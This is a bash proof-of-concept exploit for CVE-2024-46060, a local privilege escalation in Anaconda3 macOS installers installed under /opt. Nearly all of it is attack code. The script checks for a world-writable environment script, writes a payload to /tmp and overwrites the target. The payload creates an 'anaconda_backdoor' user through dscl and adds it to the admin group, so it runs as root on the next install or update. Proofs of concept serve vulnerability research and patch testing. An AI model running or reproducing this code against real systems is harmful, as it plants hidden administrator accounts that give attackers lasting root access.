CVE-2024-46060

#!/bin/bash # CVE-2024-46060 PoC - Anaconda3 macOS Local Privilege Escalation # This PoC demonstrates the vulnerability in Anaconda3 macOS installers < 2024.06-1 # when installed outside user's home directory ANACONDA_INSTALL_PATH="/opt/anaconda3" PAYLOAD_FILE="$ANACONDA_INSTALL_PATH/pkgs/envs/env_script.sh" # Check if vulnerable installation exists if [ ! -d "$ANACONDA_INSTALL_PATH" ]; then echo "[-] Anaconda3 not installed at $ANACONDA_INSTALL_PATH" echo "[-] This vulnerability only affects installations outside home directory" exit 1 fi # Check if the target script is world-writable (vulnerability indicator) if [ ! -w "$PAYLOAD_FILE" ]; then echo "[-] Target script is not world-writable, system may be patched" exit 1 fi # Create payload for root shell cat > /tmp/evil_payload.sh << 'EOF' #!/bin/bash # Inject reverse shell or create privileged user # This code runs as root when the vulnerable script is executed # Example: Create a backdoor user with sudo privileges if ! id "anaconda_backdoor" &>/dev/null; then echo "anaconda_backdoor:anaconda_pwd" | /usr/bin/dscl . -create /Users/anaconda_backdoor /usr/bin/dscl . -create /Users/anaconda_backdoor UserShell /bin/bash /usr/bin/dscl . -create /Users/anaconda_backdoor RealName "Anaconda Backdoor" /usr/bin/dscl . -create /Users/anaconda_backdoor UniqueID 9999 /usr/bin/dscl . -create /Users/anaconda_backdoor PrimaryGroupID 20 /usr/bin/dscl . -append /Groups/admin GroupMembership anaconda_backdoor echo "[+] Backdoor user created with root privileges" fi EOF # Replace the vulnerable script with payload cp /tmp/evil_payload.sh "$PAYLOAD_FILE" chmod +x "$PAYLOAD_FILE" echo "[+] Payload injected successfully" echo "[!] When Anaconda installer runs or updates, payload executes as root"

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